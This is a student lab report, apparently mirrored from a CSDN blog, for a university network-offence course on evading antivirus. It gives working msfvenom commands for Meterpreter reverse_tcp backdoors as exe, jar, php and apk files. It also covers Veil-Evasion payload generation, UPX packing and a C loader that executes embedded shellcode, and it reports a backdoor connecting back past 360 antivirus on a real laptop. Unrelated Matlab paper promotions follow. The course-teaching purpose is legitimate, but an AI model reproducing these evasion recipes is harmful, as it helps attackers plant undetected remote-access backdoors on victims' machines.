×

注意!页面内容来自https://blog.csdn.net/qq_44503603/article/details/104893409,本站不储存任何内容,为了更好的阅读体验进行在线解析,若有广告出现,请及时反馈。若您觉得侵犯了您的利益,请通知我们进行删除,然后访问 原网页

<> .m_toolbar_link span { font-size: .32rem; line-height: 24px; }
melo鹅

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践 原创

最新推荐文章于 2025-09-11 11:57:58 发布
最新推荐文章于 2025-09-11 11:57:58 发布

阅读量259

收藏

2019-2020-2 20175227张雪莹《网络对抗技术》

Exp3 免杀原理与实践

目录

0. 基础知识
0.1 免杀
  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
0.2 恶意软件检测机制
  • 基于特征码的检测

    • 重要的就是,恶意软件的检测,并不是比对整个文件,
    • 而只能只其中一个或几个片断作为识别依据。
    • 这就是最简单的特征码,或“signature”。
  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    优点
    可以检测0-day恶意软件
    具有一定通用性

    缺点
    实时监控系统行为,开销稍多
    没有基于特征码的精确度高

  • 基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.3 免杀技术(Evading AV)综述
  • 改变特征码
    • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

返回目录

1. 实验内容
1.1 方法
1.1.1 正确使用msf编码器
  • 关于网站VirSCANVirus Total
    • 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
  • 在kali终端中,输入msfvenom查看该命令的参数详情,选用msfvenom -l encoders查看编码器情况。

  • 将实验2生成的后门程序zxy_20175227_backdoor.exe分别上传至两个网站进行筛查,结果如下:

  • 可以看出,未经过编码的后门程序很容易就给杀软监测到了。

  • 下面用msf编码器对后门程序进行编码,并重新上传两个网站进行筛查:

    • 在kali中进入/usr/share/metasploit-framework/modules/payloads/stagers/windows文件夹,用ls查看Windows平台下的连接方式

  • 进入/usr/share/metasploit-framework/modules/encoders/x86文件夹,用ls查看x86的编码方式
  • 这里我们选用TCP连接方式和shikata_ga_nai 编码方式
  • 输入命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=<ip_of _linux> LPORT=5227 -f exe > zxyexptriBD.exe

-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数

  • 分别在两个网站中扫描,结果如下:

  • 由此可见,多次编码对于免杀没啥效果
    • 有编码就有解码在exe文件中,杀软根据这部分就可以监测到异常情况
    • 如果使用默认参数或模板,也有一定的固定特征。
1.1.2 msfvenom生成如jar之类的其他文件
  • 生成Java后门程序
    • 在Kali中,使用msfvenom -p java/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor_java.jar,生成jar文件,上传至两个平台扫描,结果如下:

  • 可以看出,虽然都还是危险,但是检测成功几率有所下降。
  • 生成PHP后门程序
    • 使用msfvenom -p php/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.php,生成php文件,上传至两个平台扫描,结果如下:

竟然!两个平台检测率都超低,甚至建议我谨慎使用!

  • 生成Android后门程序
    • 在Kali中,使用msfvenom -p android/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.apk,生成apk文件(安装包形式),上传至两个平台扫描,结果如下:

其中VirScan的扫描结果由“危险”转为“警告”了,检测成功几率没有jar文件高。

1.1.3 veil
  • 安装过程,我是参考学姐的博文,在此不再赘述。
  • 安装成功的截图如下:

  • 输入use evasion进入Veil-Evasion
  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,应当输入ip_of_linuxset LHOST 192.168.160.131
  • 设置端口:set LPORT 5227
  • 输入generate生成后门程序文件,而后输入其名字,我这里是:veilzxy
  • 生成成功截图如下:

  • 根据它的提示,进入/var/lib/veil/output/compiled/中即可找到所生成的后门程序:veilzxy.exe
  • 把它复制到主机,可见杀软报警:

  • 上传至两个平台进行扫描,结果如下:

之前看到学长学姐的还算挺成功的,现在的检出率虽然不高但没有php文件低,魔高一尺道高一丈。

1.1.4 加壳工具
  • 压缩壳
    • zxy175227.exe加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
    • 测试可用性

  • zxy175227.upxed.exe复制到主机,被杀软监测到,如下图:

  • 将该文件信任后,上传至两个平台进行扫描,结果如下:

其中有一个网站检出率由危险转警告了。

  • 对veil生成的后门veilzxy.exe加壳,拷贝到主机(我的杀软没有检测到威胁诶),上传到两个平台检测,结果如下:

  • 也还行吧,检出率不高,但还是危险。
1.1.5 使用C + shellcode编程
  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=5227 -f c生成C语言下的shellcode数组,如下图:

  • 创建zxy175227.c,代码内容如下:
unsigned char buf[] = 
"shellcode数组内容"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用i686-w64-mingw32-g++ zxy175227.c -o zxy175227.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序zxy175227.exe
  • 测试可用性

  • 将其复制到主机,杀软将其查杀,如下图:

  • 更改杀软设置,成功复制该文件后,上传至两个平台扫描,结果如下图:

  • 扫描结果的检出率仍然很高,但不算是所有扫描中最高的。
1.1.6 使用其他课堂未介绍方法
  • 这里用一个Veil-Evasion的其他荷载生成后门方式
    • 启动veil,进入evasion,输入list查看可用的有效荷载,如下:

  • 此时我选择了第29个荷载,是Python下shellcode在AES下加密一种。
  • 输入option,查看有效荷载的选项,如下:

  • 从上面可以清楚看到29号payload有很多选项,在这个界面,我们可以对该 payload 进行一些基本的配置。例如:编译后生成文件的格式有效期,并是否进行加密做出配置。

  • 我这里只配置了用户名,然后就generate生成了.

    • 之后它会提示你输入想要选择的shellcode平台,选择2msfvenom,一会儿我们用msfconsole进行反弹连接.
    • 输入靶机OS/平台/连接方式,默认的,回车就行
    • 输入metasploit荷载,同上
    • 输入反弹连接IP(ip_of_linux)和端口号
    • 其他msfvenom选项默认,回车就行

  • 输入创建的shellocode的名字,这里是zxyaespy
  • 生成的文件类型选择2,生成一个exe文件

  • 可以看见exe文件已经生成,是setup.pyrunme.bat,在/var/lib/veil/output/source/
  • 同时新生成的 shellcode 的 rc 文件也被保存在了 veil-output 下的 handlers,打开查看后,是在msfconsole中需要输的指令,如图:

  • 测试可用性

  • 复制到主机的时候,杀软没有监测到,上传至两个平台扫描,结果如下:

两个文件在两个网站扫描都通过了,惊了

返回目录

1.2 通过组合应用各种技术实现恶意代码免杀
  • 采用C语言调用bloxor编码的shellcode+加壳方式免杀
  • 杀软:火绒安全5.0.40.7
  • 系统:win10
    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.160.131 LPORT=5227 -f c生成shellcode数组,
    • 把它复制到主机用codeblocks编译得到exe文件
    • 在Linux中用upx zxy_bloxor.exe -o zxy_bloxor_upxed.exe对上一步得到的exe进行加壳,得到的zxy_bloxor_upxed.exe复制到主机,还是被杀软检测到了.

返回目录

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 免杀方法:C语言调用bloxor编码的shellcode+加壳
  • 免杀环境:用父亲的笔记本,系统是Windows7,杀软是360卫士11.0.0.2001
    • 免杀失败

  • 反弹连接

返回目录

2. 老师提问
2.1 杀软是如何检测出恶意代码的?
  • 回答:根据特征码,或者是一些特征的片段,监控某个进程的行为,一旦发现和已记录的病毒特征相符合就杀掉,或者一旦有一些非法行为如获取shell就杀掉。
2.2 免杀是做什么?
  • 回答:对恶意软件做一些处理,使得恶意软件得特征淡化,从而不被杀软监测到。
2.3 免杀的基本方法有哪些?
  • 回答:
    • 改变特征码:加壳,用encoder进行编码,重新编译生成可执行文件,与其他可执行文件捆绑。
    • 改变行为:反弹连接,使用隧道技术,加密通讯,加入混淆功能的正常功能代码。
2.4 开启杀软能绝对防止电脑中恶意代码吗?
  • 回答:答案肯定是否定的。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

返回目录

3. 所遇到的问题及其解决方法
3.1 问题1
  • 描述:安装veil的时候出现错误:10 http://http.kali.org/kali kali-rolling/main amd64 libmono-system-configuration4.0-cil all 6.8.0.105+dfsg-2提示,导致安装失败

  • 解决方法:之前遇到过类似问题,一直觉得是镜像源有问题,在网上搜索到较全的源信息,更新了一下sources.list,然后重新安装veil后成功。

3.2 问题2
  • 描述:安装veil失败,提示没有检测到Wine环境,根据同学在云班课的提示进行重装后,执行veil生成后门的操作没有输出文件,如图:

  • 解决办法:一开始以为veil找不到wine的路径,添加了wine32的环境变量,但是不行。而后在网上看到一位网友提示,Wine Gecko下载之后需要安装,而我只进行了wget下载。所以将两个Gecko文件移到有wine文件的目录下(这里是/usr/lib/wine),然后分别输入命令
wine   msiexec /i  wine-mono-4.9.4.msi
wine   msiexec /i  wine_gecko-2.47-x86_64.msi
  • 之后正常进行veil生成后门的操作即可(如果操作仍然被拒绝,可以用sudo -s进入root权限使用veil)。

Tips:输入这两个命令时,它会提示你找不到注册表密钥错误,此时忽略它就行。

返回目录

4. 实验感想
  • 在这次实验中,安装veil的过程显得尤为艰辛,从老师第一次讲课开始一直试到昨天,一个多星期,醉了……下载的过程很慢,安装的过程也很慢,安装好了使用时提示出错,网上资料也很少,全靠对有效信息的个人解读+碰运气实践。但是在这一过程中,我对wine环境的配置过程,所依赖的其他部件有了一个认识,知道了他是使Linux兼容Windows下软件的环境,还挺有收获的。通过对免杀的学习,自己突然有了一点点成就感,自己可以像黑客一样骗过杀软;但另一方面,还是和上一次实验的体会一样,对后门还是有了惧怕之心,导致自己天天拿着手机都怀疑地球那边有个人通过我的手机前置偷看我……

返回目录

5.参考资料
  • https://blog.csdn.net/u014549283/article/details/81670622
  • https://www.cnblogs.com/jinanxiaolaohu/p/12191576.html
  • https://www.fujieace.com/kali-linux/veil-evasion.html

返回目录

考虑极端天气线路脆弱性的配电网分布式电源配置优化模型【IEEE33节点】(Matlab代码实现)

内容概要:本文提出了一种考虑极端天气线路脆弱性的配电网分布式电源(DG)配置优化模型,旨在提升配电网在台风、冰雪等极端气象条件下的供电可靠性与运行经济性。研究以IEEE33节点标准配电系统为算例,构建了一个融合线路故障概率与电网运行性能的综合优化框架,通过Matlab代码实现模型求解,科学确定分布式电源的最佳安装位置与容量配置。模型充分考虑极端天气下输电线路因物理损伤导致的拓扑变化,将线路脆弱性量化为故障概率并嵌入优化过程,优化目标涵盖降低网络损耗、改善电压稳定性、提高负荷恢复能力及增强系统韧性。仿真结果表明,该模型能有效提升配电网在灾害情景下的自我恢复能力与供电连续性,为高风险区域的电网规划与能源配置提供了有力的技术支撑。; 适合人群:电气工程、电力系统及其自动化、智能电网与能源系统等相关专业的科研人员、研究生,以及从事配电网规划、运行管理与防灾减灾工作的工程技术人员。; 使用场景及目标:①应用于台风、暴雪等极端天气频发地区的配电网抗灾能力提升;②指导分布式光伏、风电及储能等电源在配电网中的科学选址与容量配置,实现经济性与可靠性的协同优化;③为韧性电网、智能配电网的建设提供建模仿真工具与决策支持;④支持科研教学中关于不确定性建模、鲁棒优化与能源系统规划的案例分析与实验验证。; 阅读建议:建议结合提供的Matlab代码与IEEE33节点系统数据进行仿真实践,重点关注极端天气下线路脆弱性建模方法与DG配置策略的耦合关系,深入理解目标函数设计与约束条件设定对优化结果的影响。

计及需求响应与多能存储的综合能源系统分布鲁棒优化调度(Matlab代码实现)

内容概要:本文针对综合能源系统(IES)在可再生能源出力与负荷需求双重不确定性环境下的优化调度问题,提出了一种计及需求响应与多能存储的分布鲁棒优化调度方法。通过构建涵盖电、热、冷等多种能源形式的综合能源系统模型,引入需求响应机制以增强用户侧负荷的灵活性,并结合多能存储设备实现跨能源形式的能量时间转移与供需平衡。采用分布鲁棒优化理论处理不确定性因素,在仅依赖历史数据统计特征(如均值、方差)的基础上构建概率分布模糊集,避免了对精确概率分布的依赖,显著提升了调度方案的鲁棒性与实用性。模型以系统综合运行成本最小化为目标函数,综合考虑各类设备运行约束、能量网络潮流约束及储能动态特性,利用Matlab进行算法编程实现与数值仿真,结果表明所提方法在降低运行风险、提升系统经济性、灵活性和抗不确定性干扰能力方面具有显著优势。; 适合人群:具备电力系统分析、现代优化理论(尤其是鲁棒优化与凸优化)及Matlab编程基础,从事综合能源系统、智能电网、能源互联网等相关领域研究的科研人员与工程技术人员,特别推荐给硕士、博士研究生及高校研究人员。; 使用场景及目标:①应用于综合能源系统的日前调度与滚动调度,提高系统对可再生能源波动性和负荷不确定性的适应能力;②为需求响应资源与多能储能在多能源耦合系统中的协同优化运行提供有效的建模与求解工具,实现能源高效利用与运行成本的协同优化;③作为高等教学与科研的典型案例,帮助深入理解分布鲁棒优化的建模思想、两阶段自适应优化结构及其在复杂能源系统中的实现过程。; 阅读建议:建议读者结合提供的Matlab代码深入研读,重点关注不确定性建模方式、模糊集的数学构造、两阶段优化问题的转化(如对偶理论的应用)以及求解器的调用过程,建议动手复现并尝试修改参数或扩展模型结构,同时可对比学习随机优化、传统鲁棒优化等方法以深化对分布鲁棒优化优越性的理解。

氢燃料电池极化曲线参数辨识与性能评估,采用人工蜂群算法(Matlab代码实现)

内容概要:本文围绕氢燃料电池的极化曲线参数辨识与性能评估展开研究,提出采用人工蜂群算法(Artificial Bee Colony Algorithm)对燃料电池的关键参数进行优化识别。通过构建燃料电池的电化学数学模型,利用实测极化曲线数据作为输入,充分发挥人工蜂群算法在全局搜索、收敛稳定性和避免陷入局部最优方面的优势,反向辨识出最佳拟合参数集,从而实现对燃料电池内部反应机理的精准建模与性能评估。研究重点在于优化算法与工程参数辨识的深度融合,详细阐述了目标函数构建、参数编码策略、算法迭代流程及收敛判据等关键技术环节,并配套提供了完整的Matlab代码实现方案,确保研究成果的可复现性与实用性。该方法不仅有助于深入理解燃料电池的电压-电流特性及内部损耗机制,也为新型燃料电池系统的设计优化、仿真建模、状态监测与控制策略开发提供了可靠的参数基础和技术支撑。; 适合人群:具备Matlab编程基础,从事新能源技术、燃料电池系统、电化学建模、智能优化算法或能源系统仿真研究的科研人员及工程技术人员,尤其适合高校研究生、博士生及企业研发岗位的专业人士。; 使用场景及目标:①掌握人工蜂群算法在复杂非线性工程系统参数辨识中的具体应用方法与实现流程;②学习如何基于实验数据通过智能优化手段反演系统关键参数,提升对燃料电池性能退化、效率分析与建模精度的理解;③为燃料电池堆的仿真平台搭建、健康状态评估(SOH)及系统级优化设计提供高精度的参数化模型支持。; 阅读建议:读者应结合所提供的Matlab代码逐行分析算法实现逻辑,深入理解目标函数设计与模型仿真之间的耦合关系,建议在复现过程中尝试调整蜂群规模、最大迭代次数、限制阈值等关键参数,观察其对辨识精度与收敛速度的影响,从而全面掌握算法调参技巧与工程应用要点。

最新发布 多轴同步轨迹规划5段S型+7段S型+多轴梯形Matlab代码

内容概要:本文系统研究了多轴同步轨迹规划中的5段S型、7段S型及多轴梯形三种算法,围绕运动平滑性、控制复杂度与适用场景展开深入分析。采用“独立预规划—基准轴选取—参数同步缩放”的统一技术路线,实现多轴系统的高精度同步控制。7段S型轨迹通过加加速度约束实现全程平滑,适用于高精度、高稳定性要求的工业机器人与精密设备;5段S型在保留平滑特性的同时简化结构,平衡性能与计算效率,广泛应用于通用自动化设备;多轴梯形规划以结构简单、响应迅速为特点,适合低成本、低速点位控制场景。文中结合Matlab代码完成了算法仿真,并通过对比分析明确了各类算法在加速度、加加速度曲线等方面的性能差异与选型依据。; 适合人群:具备自动控制、机器人或机电一体化背景,从事运动控制算法开发与仿真的科研人员及工程技术人员,尤其适合研究生、自动化领域研发工程师; 使用场景及目标:①用于工业机器人、数控机床、自动化搬运平台等多轴联动设备的轨迹规划设计;②指导在不同精度、速度与成本需求下选择合适的轨迹规划算法,提升系统运动平稳性与定位精度; 阅读建议:建议结合提供的Matlab代码进行仿真实践,重点关注基准轴选取逻辑与参数缩放机制,深入理解三种算法在加速度、加加速度曲线上的差异,以便根据实际应用场景灵活选用与优化。
写评论
收藏
< type="text/css"> 文章收藏成功
前往CSDN APP阅读全文
CSDN APP记录你的成长
微信小程序收藏浏览更方便
截图/长按 保存本地,用微信扫码打开
是否在CSDN APP内阅读全文
进入小程序随时浏览/收藏技术文章
需要前往CSDN APP登录即可继续互动
成就一亿技术人!
拼手气红包6.0元
发红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

¥

未领取的红包,将于96小时后发起退款

成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
前往CSDN APP阅读全文
C知道一键总结全文

CSDN

C知道答疑一步到位

浏览器
请升级应用版本

APP 内打开

小程序内打开